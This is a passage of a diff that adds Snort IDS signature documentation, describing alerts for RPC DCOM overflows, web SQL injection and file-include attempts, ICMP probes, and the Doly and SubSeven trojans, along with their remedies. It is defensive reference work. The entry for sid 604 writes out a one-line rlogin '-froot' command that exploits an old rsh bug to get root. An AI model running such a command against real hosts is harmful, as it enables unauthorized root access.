+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/372.txt
+++ snort-2.8.5.2/doc/signatures/372.txt
@@ -0,0 +1,56 @@
+Rule:
+
+--
+Sid:
+372
+
+--
+Summary:
+This event is generated when an ICMP echo request is made from a Windows host running Delphi software.
+
+--
+Impact:
+Information gathering.  An ICMP echo request can determine if a host is active.
+
+--
+Detailed Information:
+An ICMP echo request is used by the ping command to elicit an ICMP echo reply from a listening live host.  An echo request that originates from a Windows host running Delphi software contains a unique payload in the message request.
+
+--
+Affected Systems:
+All
+
+--
+Attack Scenarios:
+An attacker may attempt to determine live hosts in a network prior to launching an attack.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+An ICMP echo request may be used to legimately troubleshoot networking problems.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Block inbound ICMP echo requests.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.org>
+Documented by Steven Alexander<alexander.s@mccd.edu>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS155
+
+--
--- snort-2.8.5.2.orig/doc/signatures/604.txt
+++ snort-2.8.5.2/doc/signatures/604.txt
@@ -0,0 +1,60 @@
+Rule: 
+
+--
+Sid: 604
+
+--
+Summary:
+This event is generated due to the use of a suspicious login attempt
+
+-- 
+Impact: 
+Serious. If successful the attacker may have gained superuser access to the host.
+
+--
+Detailed Information: 
+This rule generates an event when a connection is made using "rsh" whilst passing the parameter "-froot".
+
+A bug in some implementations of the "rsh" daemon software allowed remote root access using the "-froot" parameter for the "rsh command"
+
+--
+Attack Scenarios: 
+If a UNIX machine has the "rsh" service running and is vulnerable to this bug, in can be exploited simply by running the "rsh" command with "-froot" flag. For example, rlogin host.foo.com -l -froot
+
+--
+Ease of Attack: 
+Simple, no exploit software required
+
+--
+False Positives: 
+None Known
+
+--
+False Negatives: 
+None Known
+
+-- 
+Corrective Action: 
+Investigate logs on the target host for further details and more signs of suspicious activity
+
+Use ssh for remote access instead of rlogin.
+
+Disable the "rsh" service if not used, apply a patch if appropriate.
+
+--
+Contributors: 
+Original rule by Max Vision <vision@whitehats.com> modified from a signature written by Ron Gula
+Snort documentation contributed by Anton Chuvakin <http://www.chuvakin.org>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0113
+
+Arachnids:
+http://www.whitehats.com/info/IDS387
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1665.txt
+++ snort-2.8.5.2/doc/signatures/1665.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1665
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1024.txt
+++ snort-2.8.5.2/doc/signatures/1024.txt
@@ -0,0 +1,59 @@
+Rule:
+
+--
+Sid:
+1024
+
+--
+Summary:
+This event is generated when an attempt is made to access the newdsn.exe file, which is a sample program installed with Internet Information Server (IIS) 3.0. 
+
+--
+Impact:
+File creation.  This attack can allow the creation of a new Microsoft Access Database (.mdb) file on the vulnerable server.
+
+--
+Detailed Information:
+IIS 3.0 comes with a sample program newdsn.exe.  An attacker can craft a URL to reference this executable and, as a parameter, pass the name of a new file to be created.  The file may have any extension, but will be considered a Microsoft Access Database file. 
+
+--
+Affected Systems:
+IIS 3.0 servers
+
+--
+Attack Scenarios:
+An attacker can craft a URL to execute the vulnerable newdsn.exe and create a Microsoft Access Database file on the vulnerable server. 
+
+--
+Ease of Attack:
+Simple.  
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Delete the newdsn.exe file.
+
+Upgrade to a more current version of IIS.
+ 
+--
+Contributors:
+Original rule writer unknown
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CVE
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0191
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000548.txt
+++ snort-2.8.5.2/doc/signatures/100000548.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000548
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "PHP Blue Dragon CMS" application running on a 
+webserver. Access to the file "forum_admin.php" using a remote file being 
+passed as the "DragonRootPath" parameter may indicate that an exploitation 
+attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "DragonRootPath" parameter in the "forum_admin.php" 
+script used by the "PHP Blue Dragon CMS" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using PHP Blue Dragon CMS
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/3183.txt
+++ snort-2.8.5.2/doc/signatures/3183.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3183
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000555.txt
+++ snort-2.8.5.2/doc/signatures/100000555.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+100000555
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "VebiMiau" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "lid" parameter in the "error.php" script used 
+by the "VebiMiau" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using VebiMiau
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/3185.txt
+++ snort-2.8.5.2/doc/signatures/3185.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3185
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2949.txt
+++ snort-2.8.5.2/doc/signatures/2949.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+2949
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft Network Dynamic Data Exchange (NetDDE)
+services.
+
+--
+Impact:
+Serious. Execution of arbitrary code with system level privileges
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft NetDDE that may allow an attacker to
+run code of their choosing with system level privileges. A programming
+error in the handling of network messages may give an attacker the
+opportunity to overflow a fixed length buffer by using a specially
+crafted NetDDE message.
+
+This service is not started by default on Microsoft Windows systems, but
+this issue can also be exploited locally in an attempt to escalate
+privileges after a successful attack from an alternate vector.
+
+--
+Affected Systems:
+	Microsoft Windows NT, 2000, 2003, XP, 98 and ME systems.
+
+--
+Attack Scenarios:
+An attacker needs to craft a special NetDDE message in order to overflow
+the affected buffer.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Disable the NetDDE service.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft Security Bulletin MS04-031:
+http://www.microsoft.com/technet/security/bulletin/ms04-031.mspx
+
+--
--- snort-2.8.5.2.orig/doc/signatures/921.txt
+++ snort-2.8.5.2/doc/signatures/921.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+921
+
+--
+Summary:
+This event is generated when an attempt is made to exploit an 
+authentication vulnerability in a web server or an application running
+on that server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a web server or an application running ona web server. Some
+applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An attacker can access the authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disallow administrative access from sources external to the protected
+network.
+
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000473.txt
+++ snort-2.8.5.2/doc/signatures/100000473.txt
@@ -0,0 +1,75 @@
+Rule:
+
+--
+Sid:
+100000473
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection 
+vulnerability in the "VBZoom" application running on a webserver. Access to the 
+file "language.php" with SQL commands being passed as the "Action" parameter 
+may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a 
+remote machine via the "Action" parameter in the "language.php" script used by 
+the "VBZoom" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to compromise the database backend for the 
+application, the attacker may also be able to execute system binaries or 
+malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using VBZoom
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application 
+if user input is not correctly sanitized or checked before passing that input 
+to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000694.txt
+++ snort-2.8.5.2/doc/signatures/100000694.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000694
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection vulnerability in the "VCard PRO" application running on a webserver. Access to the file "gbrowse.php" with SQL commands being passed as the "cat_id" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a remote machine via the "cat_id" parameter in the "gbrowse.php" script used by the "VCard PRO" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to compromise the database backend for the application, the attacker may also be able to execute system binaries or malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using VCard PRO
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application if user input is not correctly sanitized or checked before passing that input to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000602.txt
+++ snort-2.8.5.2/doc/signatures/100000602.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000602
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "inv_overdue.php" using a remote file being passed as the 
+"admin_template_path" parameter may indicate that an exploitation attempt has 
+been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the "inv_overdue.php" 
+script used by the "Indexu" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1985.txt
+++ snort-2.8.5.2/doc/signatures/1985.txt
@@ -0,0 +1,93 @@
+Rule:
+
+--
+Sid:
+1985
+
+--
+Summary:
+Doly is a Trojan Horse.
+
+--
+Impact:
+Possible theft of data and control of the targeted machine leading to a compromise of all resources the machine is connected to. This Trojan also has the ability to delete data, steal passwords and disable the machine. Later versions are capable of launching DDoS attacks.
+
+--
+Detailed Information:
+This Trojan affects the following operating systems:
+
+	Windows 95
+	Windows 98
+	Windows ME
+	Windows NT
+	Windows 2000
+	Windows XP
+
+No other systems are affected. This is a windows exceutable that makes changes to the system registry, Win.ini and System.ini. When first executed the Trojan replicates itself and in most cases, gives the copy a random name. This Trojan may use the file extensions ".exe" or ".dll".
+
+The Trojan changes system startup files and registry settings to add the Doly sever to programs normally started on boot.
+
+	SID	Message
+	---	-------
+	119	Doly 2.0 access (outgoing TCP connection)
+	1985	Doly 1.5 server response (outgoing TCP connection)
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This event is indicative of an existing infection being activated. Initial compromise can be in the form of a Win32 installation program that may use the extension ".jpg" or ".bmp" when delivered via e-mail for example.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised. Updated virus definition files are essential in detecting this Trojan.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+This is a particularly difficult Trojan to remove and should only be attempted by an experienced Windows Administrator.
+
+Edit the system registry to remove the extra keys or restore a previously known good copy of the registry.
+
+Affected registry keys are:
+
+	HKEY_CLASSES_ROOT\exefile\shell\open\command
+	HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current Version\Run
+	HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current Version\RunServices
+	HKEY_LOCAL_MACHINE\Hardware\Data
+	HKEY_LOCAL_MACHINE\Hardware\Enum
+	HKEY_LOCAL_MACHINE\Software\Microsoft\DirectXMedia
+
+Registry keys added are:
+
+	HKEY_CLASSES_ROOT\.dl
+
+Removal of the replicant is also required, look for files ending in ".exe" or ".dll" in the <drive>:\Windows\ or <drive>:\Windows\System\ folders that use alphanumeric file names. The name of the replicant may be in one of the registry keys above.
+
+A machine reboot is required to clear the existing process from running in memory.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Whitehats arachNIDS
+http://www.whitehats.com/info/IDS312
+
+Hackfix
+http://www.hackfix.org/miscfix/doly.shtml
+
+Dark-e Trojan Archive
+http://www.dark-e.com/archive/trojans/doly/index.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/438.txt
+++ snort-2.8.5.2/doc/signatures/438.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+
+Sid:
+438
+
+--
+
+Summary:
+This event is generated when a network host generates an ICMP Redirect with an undefined ICMP code.
+
+--
+
+Impact:
+Redirect messages are normally an indication that a shorter route to a particular destination exists.  
+
+--
+
+Detailed Information:
+ICMP Redirect messages are generated by gateway devices when a shorter route to the destination exists.  When a gateway device receives an Internet datagram from a host on the same network a check is performed to determine the address of the next hop (gateway) in the route to the datagrams destination.  The datagram is then forward to the next hop on the route.  If this gateway device is also on the same network, the gateway device generates an ICMP Redirect message and sends it back to the host that originally generated the traffic.  The ICMP redirect message informs the original host that a shorter route exists and any additional traffic should be forwarded directly to the closer gateway device.
+
+ICMP datagrams with undefined codes should never be seen on the network.  This could be an indication of nefarious activity on the network.
+
+--
+
+Attack Scenarios:
+Attackers on the local subnet could potentially use ICMP Redirect messages to force hosts to use compromised gateway devices.  
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate this type of ICMP datagram.
+
+--
+
+False Positives:
+ICMP Redirect datagrams are legitimate Internet traffic if a shorter route to a destination actually exists.  
+
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+Ingress filtering should be utilized to block incoming ICMP Type 5 datagrams.
+
+--
+
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+RFC792
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/103.txt
+++ snort-2.8.5.2/doc/signatures/103.txt
@@ -0,0 +1,119 @@
+Rule:
+
+--
+Sid:
+103
+
+--
+Summary:
+Subseven22 is a Trojan Horse.
+
+--
+Impact:
+Possible theft of data and control of the targeted machine leading to a 
+compromise of all resources the machine is connected to. This Trojan 
+also has the ability to delete data, steal passwords and disable the 
+machine. Other versions are capable of launching DDoS attacks.
+
+--
+Detailed Information:
+This Trojan affects the following operating systems:
+
+	Windows 95
+	Windows 98
+	Windows ME
+	Windows NT
+	Windows 2000
+	Windows XP
+
+No other systems are affected. This is a windows exceutable that makes 
+changes to the system registry, Win.ini and System.ini. When first 
+executed the Trojan replicates itself and in most cases, gives the copy 
+a random name. This Trojan may use the file extensions ".exe" or ".dll".
+
+Subseven is an improved version of the Netbus Trojan (see sids 114, 
+115), Subseven DEFCON8 2.1 is an improved version of Subseven that 
+affects Windows 95 and 98 implementations.
+
+The Trojan changes system startup files and registry settings to add the
+Subseven sever to programs normally started on boot.
+
+	SID	Message
+	---	-------
+	103	subseven 22 (incoming TCP connection)
+	107	subseven DEFCON8 2.1 access (outgoing TCP connection)
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This 
+event is indicative of an existing infection being activated. Initial 
+compromise can be in the form of a Win32 installation program that may 
+use the extension ".jpg" or ".bmp" when delivered via e-mail for 
+example.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised. 
+Updated virus definition files are essential in detecting this Trojan.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+This is a particularly difficult Trojan to remove and should only be 
+attempted by an experienced Windows Administrator.
+
+Edit the system registry to remove the extra keys or restore a 
+previously known good copy of the registry.
+
+Affected registry keys are:
+
+	HKEY_CLASSES_ROOT\exefile\shell\open\command
+	HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current Version\Run
+	HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current Version\RunServices
+	HKEY_LOCAL_MACHINE\Hardware\Data
+	HKEY_LOCAL_MACHINE\Hardware\Enum
+	HKEY_LOCAL_MACHINE\Software\Microsoft\DirectXMedia
+
+Registry keys added are:
+
+	HKEY_CLASSES_ROOT\.dl
+
+Removal of the replicant is also required, look for files ending in 
+".exe" or ".dll" in the <drive>:\Windows\ or <drive>:\Windows\System\ 
+folders that use alphanumeric file names. The name of the replicant may 
+be in one of the registry keys above.
+
+A machine reboot is required to clear the existing process from running 
+in memory.
+
+--
+Contributors:
+Original Rule Writer Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Hackfix
+http://www.hackfix.org/subseven/
+
+McAfee
+http://vil.mcafee.com/dispVirus.asp?virus_k=10566
+http://vil.nai.com/vil/content/v_10566.htm
+
+Symantec Security Response
+http://securityresponse.symantec.com/avcenter/venc/data/backdoor.subseven22.html
+
+F-Secure:
+http://www.f-secure.com/v-descs/subseven.shtml
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1883.txt
+++ snort-2.8.5.2/doc/signatures/1883.txt
@@ -0,0 +1,65 @@
+Rule:
+
+
+--
+Sid:
+
+1883
+
+-- 
+Summary: 
+This rule has been placed in deleted.rules
+
+-- 
+Impact: 
+
+attacker might have gained an ability to execute commands remotely on the system.
+
+--
+Detailed Information:
+
+This signature triggers when a UNIX "id" command is used to confirm
+the user name of the currently logged in user over any unencrypted
+connection. Such connection can be either a legitimate telnet
+connection or a result of spawning a shell on FTP, POP3, SMTP or other
+port as a consequence of network exploit. The string "uid=" and
+"(nobody)" is an output of an "id" command indicating that the user
+has "nobody" account privileges, typically used by the web server
+process.  Seeing such a response indicates that some user connected
+over the network to a target web server and likely exploited the web
+server to launch a shell.
+
+--
+Attack Scenarios: 
+
+a buffer overflow exploit against the WWW server results in "/bin/sh" being executed. An automated script performing an attack, checks for the success of the exploit via an "id" command.
+
+-- 
+Ease of Attack: 
+
+this post-attack behavior can accompany different attacks
+
+-- 
+False Positives: 
+
+the signature will trigger if a legitimate system administrator executes the "id" command over the telnet connection which uses one of the web ports, as defined in snort.conf
+
+--
+False Negatives: 
+
+not known
+
+-- 
+Corrective Action: 
+
+investigate the server for signs of compromise, run the integrity checking software, look for other IDS alerts involving the same IP addresses.
+
+--
+Contributors: 
+
+Anton Chuvakin <anton@chuvakin.org>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1805.txt
+++ snort-2.8.5.2/doc/signatures/1805.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+1805
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a flaw on a 
+server running Oracle reports.
+
+--
+Impact:
+Serious. Execution of arbitrary code is possible.
+
+--
+Detailed Information:
+A stack overflow exists in the Oracle Reports "rwcgi60" program. If a 
+user supplies a long string as a value for the method "setauth", it can 
+overflow the stack and may allow the user to run code on the server. 
+This code would be executed with the permissions of the web server.
+
+--
+Affected Systems:
+	Oracle's Oracle Reports6i 6.0.8
+	Oracle9i Application Server Reports 9.0.2
+
+--
+Attack Scenarios:
+An attacker can overflow the stack using a URL and cause the machine to 
+execute shell code.
+
+--
+Ease of Attack:
+Medium
+
+--
+False Positives: 
+None known.
+
+--
+False Negatives: 
+None known.
+
+--
+Corrective Action:
